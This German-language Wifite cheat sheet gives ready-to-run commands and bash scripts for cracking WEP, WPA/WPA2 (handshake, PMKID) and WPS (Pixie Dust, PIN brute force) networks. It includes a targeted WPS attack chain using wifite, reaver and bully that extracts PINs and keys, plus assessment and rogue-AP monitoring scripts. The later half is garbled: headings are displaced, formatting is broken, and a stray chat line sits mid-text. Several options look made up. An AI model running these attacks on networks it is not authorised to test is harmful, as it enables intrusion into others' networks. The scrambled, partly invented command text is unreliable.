Wifite Cheat Sheet

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Überblick

Wifite ist ein automatisiertes Wireless-Angriffstool, das den Prozess der Überprüfung von WEP-, WPA- und WPS-verschlüsselten Netzwerken vereinfacht. Es automatisiert viele der mühsamen Aufgaben bei Wireless-Penetrationstests, indem es mehrere Tools wie aircrack-ng, reaver, bully und andere in eine einzige, benutzerfreundliche Oberfläche integriert. Wifite kann Sicherheitslücken automatisch erkennen und versuchen, drahtlose Netzwerke mit verschiedenen Angriffsmethoden zu knacken.

⚠️ Warnung: Verwenden Sie Wifite nur bei Drahtlosnetzwerken, die Ihnen gehören oder für deren Test Sie eine ausdrückliche Erlaubnis haben. Unbefugte Wireless-Angriffe können gegen lokale Gesetze und Vorschriften verstoßen.

Installation

Kali Linux Installation

# Wifite is pre-installed on Kali Linux
wifite --help

# Update to latest version
sudo apt update
sudo apt install wifite

# Install Wifite2 (newer version)
sudo apt install wifite2

Ubuntu/Debian Installation

# Install dependencies first
sudo apt update
sudo apt install python3 python3-pip aircrack-ng reaver bully pixiewps

# Install from package manager
sudo apt install wifite

# Or install via pip
sudo pip3 install wifite2

# Install additional tools for full functionality
sudo apt install hashcat hcxdumptool hcxtools tshark

Manuelle Installation

# Clone Wifite2 repository
git clone https://github.com/derv82/wifite2.git
cd wifite2

# Install Python dependencies
sudo pip3 install -r requirements.txt

# Install Wifite
sudo python3 setup.py install

# Make executable
sudo chmod +x wifite.py
sudo ln -s $(pwd)/wifite.py /usr/local/bin/wifite

# Verify installation
wifite --help

Docker Installation

# Pull Wifite Docker image
docker pull kalilinux/kali-rolling

# Run with network privileges
docker run -it --rm --net=host --privileged \
    -v /dev/bus/usb:/dev/bus/usb \
    kalilinux/kali-rolling

# Inside container, install Wifite
apt update && apt install -y wifite

Abhängigkeiten und Tools

Erforderliche Tools

# Check required tools
wifite --check

# Install aircrack-ng suite
sudo apt install aircrack-ng

# Install reaver for WPS attacks
sudo apt install reaver

# Install bully (alternative WPS tool)
sudo apt install bully

# Install pixiewps for WPS PIN attacks
sudo apt install pixiewps

# Install hashcat for password cracking
sudo apt install hashcat

# Install hcxtools for PMKID attacks
sudo apt install hcxdumptool hcxtools

Optionale Tools

# Install tshark for packet analysis
sudo apt install tshark

# Install cowpatty for WPA cracking
sudo apt install cowpatty

# Install john the ripper
sudo apt install john

# Install macchanger for MAC spoofing
sudo apt install macchanger

# Install pyrit for GPU acceleration
sudo apt install pyrit

Grundlegende Nutzung

Schnittstelleneinrichtung

# List available interfaces
wifite --list-interfaces

# Use specific interface
wifite --interface wlan0

# Put interface in monitor mode manually
sudo airmon-ng start wlan0

# Check monitor mode interfaces
iwconfig

Grundlegendes Scannen und Angriffe

# Basic scan and attack
sudo wifite

# Scan specific interface
sudo wifite --interface wlan0

# Attack specific target by BSSID
sudo wifite --bssid AA:BB:CC:DD:EE:FF

# Attack specific target by ESSID
sudo wifite --essid "TargetNetwork"

# Show verbose output
sudo wifite --verbose

# Quiet mode (minimal output)
sudo wifite --quiet

Zielauswahl

# Attack only WEP networks
sudo wifite --wep

# Attack only WPA networks
sudo wifite --wpa

# Attack only WPS networks
sudo wifite --wps

# Attack networks with specific encryption
sudo wifite --wep --wpa --wps

# Filter by signal strength (minimum dBm)
sudo wifite --min-power -50

# Attack only networks with clients
sudo wifite --clients-only

WEP-Angriffe

Grundlegendes WEP-Knacken

# Target only WEP networks
sudo wifite --wep

# Specify WEP timeout
sudo wifite --wep --wep-timeout 600

# Set packet threshold for WEP
sudo wifite --wep --wep-pps 300

# Use specific WEP attack methods
sudo wifite --wep --wep-filter

# Keep temporary files for analysis
sudo wifite --wep --keep-ivs

Erweiterte WEP-Optionen

# Replay attack options
sudo wifite --wep --wep-pps 500 --wep-timeout 1200

# Use ARP replay attack
sudo wifite --wep --wep-replay

# Use fragmentation attack
sudo wifite --wep --wep-frag

# Use chopchop attack
sudo wifite --wep --wep-chopchop

# Combine multiple attack methods
sudo wifite --wep --wep-replay --wep-frag --wep-chopchop

WPA/WPA2-Angriffe

Handshake-Erfassung

# Target WPA networks
sudo wifite --wpa

# Set handshake timeout
sudo wifite --wpa --wpa-timeout 300

# Specify handshake directory
sudo wifite --wpa --wpa-handshake-dir /tmp/handshakes

# Deauth packet count
sudo wifite --wpa --wpa-deauth-timeout 10

# Attack with custom wordlist
sudo wifite --wpa --dict /path/to/wordlist.txt

PMKID-Angriffe

# Enable PMKID attack
sudo wifite --wpa --pmkid

# PMKID timeout
sudo wifite --wpa --pmkid --pmkid-timeout 300

# Combine handshake and PMKID
sudo wifite --wpa --pmkid --wpa-handshake

# Use specific PMKID tool
sudo wifite --wpa --pmkid --hcxdumptool-timeout 60

WPA-Knack-Optionen

# Use aircrack-ng for cracking
sudo wifite --wpa --wpa-attack aircrack

# Use hashcat for cracking
sudo wifite --wpa --wpa-attack hashcat

# Use john the ripper
sudo wifite --wpa --wpa-attack john

# Specify custom wordlist
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt

# Strip handshake (remove unnecessary data)
sudo wifite --wpa --wpa-strip

WPS-Angriffe

Grundlegende WPS-Angriffe

# Target only WPS networks
sudo wifite --wps

# WPS timeout setting
sudo wifite --wps --wps-timeout 300

# Maximum WPS attempts
sudo wifite --wps --wps-attempts 100

# WPS attack methods
sudo wifite --wps --wps-pixie --wps-pin

Pixie-Dust-Angriff

# Pixie dust attack only
sudo wifite --wps --wps-pixie

# Pixie dust timeout
sudo wifite --wps --wps-pixie --pixie-timeout 300

# Skip PIN attack if pixie fails
sudo wifite --wps --wps-pixie --wps-no-pin

# Use specific pixie tool
sudo wifite --wps --wps-pixie --pixie-tool pixiewps

WPS-PIN-Angriffe

# PIN attack only
sudo wifite --wps --wps-pin

# PIN attack timeout
sudo wifite --wps --wps-pin --pin-timeout 3600

# Use reaver for PIN attack
sudo wifite --wps --wps-pin --reaver

# Use bully for PIN attack
sudo wifite --wps --wps-pin --bully

# Custom PIN attempts
sudo wifite --wps --wps-pin --wps-attempts 1000

Erweiterte Optionen

Ausgabe und Logging

# Specify output directory
sudo wifite --out-dir /tmp/wifite_results

# Keep temporary files
sudo wifite --keep-temp

# Save cracked passwords
sudo wifite --cracked-file /tmp/cracked.txt

# Verbose logging
sudo wifite --verbose --out-dir /tmp/logs

# Quiet mode with logging
sudo wifite --quiet --out-dir /tmp/results

Netzwerk-Filterung

Would you like me to continue with the remaining sections?```bash

Filter by manufacturer

sudo wifite --manufacturer Linksys

Filter by channel

sudo wifite --channel 6

Multiple channels

sudo wifite --channel 1,6,11

Exclude specific networks

sudo wifite --ignore-essid "MyNetwork,GuestWiFi"

Include only specific networks

sudo wifite --essid "TargetNetwork"

Filter by encryption type

sudo wifite --wpa --wps --ignore-wep ### Angriffs-Anpassungbash

Custom deauth count

sudo wifite --wpa-deauth 5

Custom scan time

sudo wifite --scan-time 30

Attack timeout

sudo wifite --attack-timeout 3600

Number of targets to attack

sudo wifite --num-targets 5

Infinite attack mode

sudo wifite --infinite ## Automatisierungsscriptebash

!/bin/bash

Comprehensive wireless security assessment with Wifite

INTERFACE="wlan0" OUTPUT_DIR="wireless_assessment_$(date +%Y%m%d_%H%M%S)" WORDLIST="/usr/share/wordlists/rockyou.txt" SCAN_TIME=60 ATTACK_TIMEOUT=1800

mkdir -p "$OUTPUT_DIR"

Function to setup interface

setup_interface() \\{ echo "[+] Setting up wireless interface: $INTERFACE"

# Kill conflicting processes
sudo airmon-ng check kill

# Start monitor mode
sudo airmon-ng start "$INTERFACE"

# Get monitor interface name
MONITOR_INTERFACE=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '\\\\{print $1\\\\}')

if [ -z "$MONITOR_INTERFACE" ]; then
    echo "[-] Failed to create monitor interface"
    return 1
fi

echo "[+] Monitor interface created: $MONITOR_INTERFACE"
return 0

\\}

Function to run comprehensive scan

run_comprehensive_scan() \\{ echo "[+] Running comprehensive wireless assessment"

# WEP Assessment
echo "[+] Phase 1: WEP Network Assessment"
sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --wep \
    --wep-timeout "$ATTACK_TIMEOUT" \
    --out-dir "$OUTPUT_DIR/wep" \
    --verbose \
    --scan-time "$SCAN_TIME" \
    2>&1|tee "$OUTPUT_DIR/wep_assessment.log"

# WPA Assessment
echo "[+] Phase 2: WPA/WPA2 Network Assessment"
sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --wpa \
    --pmkid \
    --wpa-timeout "$ATTACK_TIMEOUT" \
    --dict "$WORDLIST" \
    --out-dir "$OUTPUT_DIR/wpa" \
    --verbose \
    --scan-time "$SCAN_TIME" \
    2>&1|tee "$OUTPUT_DIR/wpa_assessment.log"

# WPS Assessment
echo "[+] Phase 3: WPS Network Assessment"
sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --wps \
    --wps-pixie \
    --wps-pin \
    --wps-timeout "$ATTACK_TIMEOUT" \
    --out-dir "$OUTPUT_DIR/wps" \
    --verbose \
    --scan-time "$SCAN_TIME" \
    2>&1|tee "$OUTPUT_DIR/wps_assessment.log"

\\}

Function to generate report

generate_report() \\{ echo "[+] Generating assessment report"

local report_file="$OUTPUT_DIR/wireless_assessment_report.html"

cat > "$report_file" << EOF

Wireless Security Assessment Report

Generated: $(date)

Assessment Duration: $(echo "scale=2; $ATTACK_TIMEOUT/60"|bc) minutes per phase

EOF # WEP Results echo "

" >> "$report_file" echo "

WEP Network Assessment

" >> "$report_file" if [ -f "$OUTPUT_DIR/wep_assessment.log" ]; then wep_cracked=$(grep -c "WEP KEY FOUND" "$OUTPUT_DIR/wep_assessment.log" 2>/dev/null||echo "0") wep_total=$(grep -c "WEP" "$OUTPUT_DIR/wep_assessment.log" 2>/dev/null||echo "0") if [ "$wep_cracked" -gt 0 ]; then echo "

" >> "$report_file" echo "

⚠️ CRITICAL: WEP Networks Compromised

" >> "$report_file" echo "

Successfully cracked $wep_cracked out of $wep_total WEP networks

" >> "$report_file" echo "

" >> "$report_file" else echo "

" >> "$report_file" echo "

✅ No WEP vulnerabilities exploited

" >> "$report_file" echo "

Tested $wep_total WEP networks

" >> "$report_file" echo "

" >> "$report_file" fi fi echo "

" >> "$report_file" # WPA Results echo "

" >> "$report_file" echo "

WPA/WPA2 Network Assessment

" >> "$report_file" if [ -f "$OUTPUT_DIR/wpa_assessment.log" ]; then wpa_cracked=$(grep -c "WPA KEY FOUND\|PMKID FOUND" "$OUTPUT_DIR/wpa_assessment.log" 2>/dev/null||echo "0") handshakes=$(grep -c "handshake" "$OUTPUT_DIR/wpa_assessment.log" 2>/dev/null||echo "0") if [ "$wpa_cracked" -gt 0 ]; then echo "

" >> "$report_file" echo "

⚠️ HIGH: WPA/WPA2 Networks Compromised

" >> "$report_file" echo "

Successfully cracked $wpa_cracked WPA/WPA2 networks

" >> "$report_file" echo "

Captured $handshakes handshakes for offline analysis

" >> "$report_file" echo "

" >> "$report_file" else echo "

" >> "$report_file" echo "

⚠️ Handshakes captured for offline analysis

" >> "$report_file" echo "

Captured $handshakes handshakes - recommend stronger passwords

" >> "$report_file" echo "

" >> "$report_file" fi fi echo "

" >> "$report_file" # WPS Results echo "

" >> "$report_file" echo "

WPS Network Assessment

" >> "$report_file" if [ -f "$OUTPUT_DIR/wps_assessment.log" ]; then wps_cracked=$(grep -c "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/wps_assessment.log" 2>/dev/null||echo "0") pixie_success=$(grep -c "Pixie" "$OUTPUT_DIR/wps_assessment.log" 2>/dev/null||echo "0") if [ "$wps_cracked" -gt 0 ]; then echo "

" >> "$report_file" echo "

⚠️ CRITICAL: WPS Networks Compromised

" >> "$report_file" echo "

Successfully cracked $wps_cracked WPS-enabled networks

" >> "$report_file" echo "

Pixie dust attacks successful: $pixie_success

" >> "$report_file" echo "

" >> "$report_file" else echo "

" >> "$report_file" echo "

✅ WPS attacks unsuccessful

" >> "$report_file" echo "

WPS-enabled networks appear to be properly configured

" >> "$report_file" echo "

" >> "$report_file" fi fi echo "

" >> "$report_file" # Recommendations cat >> "$report_file" << EOF

Security Recommendations

• Disable WEP: WEP encryption is fundamentally broken and should never be used
• Use WPA3: Upgrade to WPA3 where possible, or WPA2 with strong passwords
• Disable WPS: WPS is vulnerable to brute force and pixie dust attacks
• Strong Passwords: Use complex passwords with 15+ characters
• Regular Updates: Keep wireless equipment firmware updated
• Network Segmentation: Isolate wireless networks from critical systems
• Monitor for Rogue APs: Regularly scan for unauthorized access points

EOF

echo "[+] Report generated: $report_file"

\\}

Function to cleanup

cleanup() \\{ echo "[+] Cleaning up..."

# Stop monitor mode
if [ -n "$MONITOR_INTERFACE" ]; then
    sudo airmon-ng stop "$MONITOR_INTERFACE"
fi

# Restart network services
sudo systemctl restart NetworkManager 2>/dev/null||true

echo "[+] Cleanup completed"

\\}

Trap cleanup on exit

trap cleanup EXIT

Main execution

echo "[+] Starting comprehensive wireless security assessment" echo "[+] Output directory: $OUTPUT_DIR"

Check dependencies

if ! command -v wifite &> /dev/null; then echo "[-] Wifite not found. Please install Wifite first." exit 1 fi

if ! command -v airmon-ng &> /dev/null; then echo "[-] airmon-ng not found. Please install aircrack-ng suite." exit 1 fi

Setup interface

if setup_interface; then # Run assessment run_comprehensive_scan

# Generate report
generate_report

echo "[+] Wireless security assessment completed"
echo "[+] Results saved in: $OUTPUT_DIR"
echo "[+] Open $OUTPUT_DIR/wireless_assessment_report.html for detailed results"

else echo "[-] Failed to setup wireless interface" exit 1 fi ### Automatisierte Wireless-Bewertungbash

!/bin/bash

Targeted WPS attack script with multiple methods

TARGET_BSSID="\(1" INTERFACE="wlan0" OUTPUT_DIR="wps_attack_\)(date +%Y%m%d_%H%M%S)"

if [ -z "$TARGET_BSSID" ]; then echo "Usage: $0 " echo "Example: $0 AA:BB:CC:DD:EE:FF" exit 1 fi

mkdir -p "$OUTPUT_DIR"

Function to setup monitor mode

setup_monitor() \\{ echo "[+] Setting up monitor mode on $INTERFACE"

sudo airmon-ng check kill
sudo airmon-ng start "$INTERFACE"

MONITOR_INTERFACE=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '\\\\{print $1\\\\}')

if [ -z "$MONITOR_INTERFACE" ]; then
    echo "[-] Failed to create monitor interface"
    return 1
fi

echo "[+] Monitor interface: $MONITOR_INTERFACE"
return 0

\\}

Function to run pixie dust attack

pixie_dust_attack() \\{ echo "[+] Attempting Pixie Dust attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/pixie_dust.log"

timeout 300 sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --bssid "$TARGET_BSSID" \
    --wps \
    --wps-pixie \
    --wps-no-pin \
    --out-dir "$OUTPUT_DIR" \
    --verbose \
    2>&1|tee "$log_file"

if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$log_file"; then
    echo "[+] Pixie Dust attack successful!"
    return 0
else
    echo "[-] Pixie Dust attack failed"
    return 1
fi

\\}

Function to run PIN attack

pin_attack() \\{ echo "[+] Attempting WPS PIN attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/pin_attack.log"

timeout 3600 sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --bssid "$TARGET_BSSID" \
    --wps \
    --wps-pin \
    --wps-attempts 1000 \
    --out-dir "$OUTPUT_DIR" \
    --verbose \
    2>&1|tee "$log_file"

if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$log_file"; then
    echo "[+] PIN attack successful!"
    return 0
else
    echo "[-] PIN attack failed"
    return 1
fi

\\}

Function to run reaver attack

reaver_attack() \\{ echo "[+] Attempting Reaver attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/reaver_attack.log"

timeout 1800 sudo reaver \
    -i "$MONITOR_INTERFACE" \
    -b "$TARGET_BSSID" \
    -vv \
    -K 1 \
    -N \
    -L \
    -d 15 \
    -T 0.5 \
    -c 1 \
    2>&1|tee "$log_file"

if grep -q "WPS PIN:" "$log_file"; then
    echo "[+] Reaver attack successful!"
    return 0
else
    echo "[-] Reaver attack failed"
    return 1
fi

\\}

Function to run bully attack

bully_attack() \\{ echo "[+] Attempting Bully attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/bully_attack.log"

timeout 1800 sudo bully \
    "$MONITOR_INTERFACE" \
    -b "$TARGET_BSSID" \
    -v 3 \
    -d \
    -B \
    2>&1|tee "$log_file"

if grep -q "PIN FOUND" "$log_file"; then
    echo "[+] Bully attack successful!"
    return 0
else
    echo "[-] Bully attack failed"
    return 1
fi

\\}

Function to generate attack report

generate_attack_report() \\{ echo "[+] Generating attack report"

local report_file="$OUTPUT_DIR/wps_attack_report.txt"

cat > "$report_file" << EOF

WPS Attack Report

Target: $TARGET_BSSID Date: $(date) Interface: $MONITOR_INTERFACE

Attack Methods Attempted: EOF

# Check results of each attack
if [ -f "$OUTPUT_DIR/pixie_dust.log" ]; then
    echo "1. Pixie Dust Attack:" >> "$report_file"
    if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/pixie_dust.log"; then
        echo "   Status: SUCCESS" >> "$report_file"
        grep -E "WPS PIN|WPS KEY|PSK" "$OUTPUT_DIR/pixie_dust.log" >> "$report_file"
    else
        echo "   Status: FAILED" >> "$report_file"
    fi
    echo "" >> "$report_file"
fi

if [ -f "$OUTPUT_DIR/pin_attack.log" ]; then
    echo "2. PIN Attack:" >> "$report_file"
    if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/pin_attack.log"; then
        echo "   Status: SUCCESS" >> "$report_file"
        grep -E "WPS PIN|WPS KEY|PSK" "$OUTPUT_DIR/pin_attack.log" >> "$report_file"
    else
        echo "   Status: FAILED" >> "$report_file"
    fi
    echo "" >> "$report_file"
fi

if [ -f "$OUTPUT_DIR/reaver_attack.log" ]; then
    echo "3. Reaver Attack:" >> "$report_file"
    if grep -q "WPS PIN:" "$OUTPUT_DIR/reaver_attack.log"; then
        echo "   Status: SUCCESS" >> "$report_file"
        grep -E "WPS PIN|PSK" "$OUTPUT_DIR/reaver_attack.log" >> "$report_file"
    else
        echo "   Status: FAILED" >> "$report_file"
    fi
    echo "" >> "$report_file"
fi

if [ -f "$OUTPUT_DIR/bully_attack.log" ]; then
    echo "4. Bully Attack:" >> "$report_file"
    if grep -q "PIN FOUND" "$OUTPUT_DIR/bully_attack.log"; then
        echo "   Status: SUCCESS" >> "$report_file"
        grep -E "PIN FOUND|PSK" "$OUTPUT_DIR/bully_attack.log" >> "$report_file"
    else
        echo "   Status: FAILED" >> "$report_file"
    fi
    echo "" >> "$report_file"
fi

echo "[+] Report saved: $report_file"

\\}

Cleanup function

cleanup() \\{ echo "[+] Cleaning up..." if [ -n "\(MONITOR_INTERFACE" ]; then sudo airmon-ng stop "\)MONITOR_INTERFACE" fi sudo systemctl restart NetworkManager 2>/dev/null||true \\}

trap cleanup EXIT

Main execution

echo "[+] Starting targeted WPS attack on $TARGET_BSSID"

if setup_monitor; then # Try pixie dust first (fastest) if pixie_dust_attack; then echo "[+] Target compromised via Pixie Dust attack!" else echo "[+] Pixie Dust failed, trying PIN attack..." if pin_attack; then echo "[+] Target compromised via PIN attack!" else echo "[+] Wifite attacks failed, trying manual tools..."

        # Try reaver
        if reaver_attack; then
            echo "[+] Target compromised via Reaver!"
        else
            echo "[+] Reaver failed, trying Bully..."
            if bully_attack; then
                echo "[+] Target compromised via Bully!"
            else
                echo "[-] All WPS attacks failed"
            fi
        fi
    fi
fi

generate_attack_report
echo "[+] Attack completed. Results in: $OUTPUT_DIR"

else echo "[-] Failed to setup monitor mode" exit 1 fi ### Gezieltes WPS-Angriffs-Skriptbash

!/bin/bash

Continuous wireless monitoring and alerting

INTERFACE="wlan0" SCAN_INTERVAL=300 # 5 minutes ALERT_EMAIL="security@company.com" KNOWN_NETWORKS_FILE="known_networks.txt" LOG_DIR="wireless_monitoring"

mkdir -p "$LOG_DIR"

Function to create known networks file

create_known_networks() \\{ if [ ! -f "\(KNOWN_NETWORKS_FILE" ]; then cat > "\)KNOWN_NETWORKS_FILE" << 'EOF'

Known legitimate networks

Format: BSSID|ESSID|ENCRYPTION

AA:BB:CC:DD:EE:FF|CompanyWiFi|WPA2 11:22:33:44:55:66|GuestNetwork|WPA2

Add your known networks here

EOF echo "Created $KNOWN_NETWORKS_FILE - please configure with your known networks" exit 1 fi \\}

Function to scan for networks

scan_networks() \\{ local timestamp=\((date +%Y%m%d_%H%M%S) local scan_file="\)LOG_DIR/scan_$timestamp.txt"

echo "[+] Scanning for wireless networks..."

timeout 60 sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --scan-time 30 \
    --no-attack \
    --out-dir "$LOG_DIR" \
    2>&1|grep -E "BSSID|ESSID|WEP|WPA|WPS" > "$scan_file"

echo "$scan_file"

\\}

Function to detect rogue networks

detect_rogue_networks() \\{ local scan_file="\(1" local timestamp=\)(date +%Y%m%d_%H%M%S) local rogue_file="\(LOG_DIR/rogue_\)timestamp.txt"

echo "[+] Analyzing scan results for rogue networks..."

> "$rogue_file"  # Clear file

# Parse scan results and compare with known networks
while read -r line; do
    if [[ "$line" =~ BSSID ]]; then
        bssid=$(echo "$line"|grep -oE '([0-9A-Fa-f]\\\\{2\\\\}:)\\\\{5\\\\}[0-9A-Fa-f]\\\\{2\\\\}')

        # Check if this BSSID is in known networks
        if ! grep -q "$bssid" "$KNOWN_NETWORKS_FILE"; then
            echo "$line" >> "$rogue_file"
        fi
    fi
done < "$scan_file"

if [ -s "$rogue_file" ]; then
    echo "[!] Rogue networks detected!"
    cat "$rogue_file"

    # Send alert
    echo "Rogue wireless networks detected at $(date)"|\
        mail -s "SECURITY ALERT: Rogue Networks" -A "$rogue_file" "$ALERT_EMAIL" 2>/dev/null||\
        echo "Alert: Rogue networks detected (email failed)"
else
    echo "[+] No rogue networks detected"
fi

\\}

Function to detect security issues

detect_security_issues() \\{ local scan_file="\(1" local timestamp=\)(date +%Y%m%d_%H%M%S) local issues_file="\(LOG_DIR/security_issues_\)timestamp.txt"

echo "[+] Checking for security issues..."

cat > "$issues_file" << EOF

Wireless Security Issues Report Generated: $(date) ==============================

EOF

# Check for WEP networks
wep_count=$(grep -c "WEP" "$scan_file" 2>/dev/null||echo "0")
if [ "$wep_count" -gt 0 ]; then
    echo "⚠️  WEP Networks Detected: $wep_count" >> "$issues_file"
    grep "WEP" "$scan_file" >> "$issues_file"
    echo "" >> "$issues_file"
fi

# Check for open networks
open_count=$(grep -c "Open" "$scan_file" 2>/dev/null||echo "0")
if [ "$open_count" -gt 0 ]; then
    echo "⚠️  Open Networks Detected: $open_count" >> "$issues_file"
    grep "Open" "$scan_file" >> "$issues_file"
    echo "" >> "$issues_file"
fi

# Check for WPS enabled networks
wps_count=$(grep -c "WPS" "$scan_file" 2>/dev/null||echo "0")
if [ "$wps_count" -gt 0 ]; then
    echo "⚠️  WPS Enabled Networks: $wps_count" >> "$issues_file"
    grep "WPS" "$scan_file" >> "$issues_file"
    echo "" >> "$issues_file"
fi

# Send alert if issues found
total_issues=$((wep_count + open_count + wps_count))
if [ "$total_issues" -gt 0 ]; then
    echo "Wireless security issues detected: $total_issues"|\
        mail -s "Wireless Security Issues" -A "$issues_file" "$ALERT_EMAIL" 2>/dev/null||\
        echo "Alert: Security issues detected (email failed)"
fi

\\}

Function to setup monitor mode

setup_monitor() \\{ echo "[+] Setting up monitor mode"

sudo airmon-ng check kill
sudo airmon-ng start "$INTERFACE"

MONITOR_INTERFACE=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '\\\\{print $1\\\\}')

if [ -z "$MONITOR_INTERFACE" ]; then
    echo "[-] Failed to create monitor interface"
    return 1
fi

echo "[+] Monitor interface: $MONITOR_INTERFACE"
return 0

\\}

Cleanup function

cleanup() \\{ echo "[+] Stopping monitoring..." if [ -n "\(MONITOR_INTERFACE" ]; then sudo airmon-ng stop "\)MONITOR_INTERFACE" fi sudo systemctl restart NetworkManager 2>/dev/null||true \\}

trap cleanup EXIT

Main monitoring loop

echo "[+] Starting continuous wireless monitoring"

create_known_networks

if setup_monitor; then echo "[+] Monitoring every $SCAN_INTERVAL seconds. Press Ctrl+C to stop."

while true; do
    scan_file=$(scan_networks)

    if [ -f "$scan_file" ] && [ -s "$scan_file" ]; then
        detect_rogue_networks "$scan_file"
        detect_security_issues "$scan_file"
    else
        echo "[-] Scan failed or no results"
    fi

    echo "[+] Next scan in $SCAN_INTERVAL seconds..."
    sleep "$SCAN_INTERVAL"
done

else echo "[-] Failed to setup monitor mode" exit 1 fi ### Kontinuierliches Monitoring-Skriptbash

Check interface status

iwconfig

Kill conflicting processes

sudo airmon-ng check kill

Restart network manager

sudo systemctl restart NetworkManager

Check for monitor mode support

iw list|grep monitor

Manual monitor mode setup

sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up ## Fehlerbehebungbash

Run with sudo

sudo wifite

Check user groups

groups $USER

Add user to required groups

sudo usermod -aG netdev $USER

Fix file permissions

sudo chmod +x /usr/bin/wifite ### Häufige Problemebash

Check required tools

wifite --check

Install missing dependencies

sudo apt install aircrack-ng reaver bully pixiewps

Update tool databases

sudo apt update && sudo apt upgrade

Check tool versions

aircrack-ng --help reaver -h bully -h #### Schnittstellenproblemebash

Increase timeout values

sudo wifite --wpa-timeout 600

Use specific attack methods

sudo wifite --wps --wps-pixie

Check signal strength

sudo wifite --min-power -60

Use verbose output for debugging

sudo wifite --verbose #### Berechtigungsproblemebash

Reduce scan time

sudo wifite --scan-time 15

Target specific networks

sudo wifite --essid "TargetNetwork"

Use faster attack methods

sudo wifite --wps --wps-pixie --wps-no-pin

Optimize for specific encryption

sudo wifite --wpa --pmkid ```#### Tool-Abhängigkeiten https://github.com/derv82/wifite2###

Angriffsfehler

https://www.aircrack-ng.org/##

Leistungsoptimierung

https://github.com/t6x/reaver-wps-fork-t6x#

Ressourcen

https://www.sans.org/white-papers/36287/- Wifite2 GitHub Repositoryhttps://standards.ieee.org/standard/802_11i-2004.html- Aircrack-ng Dokumentation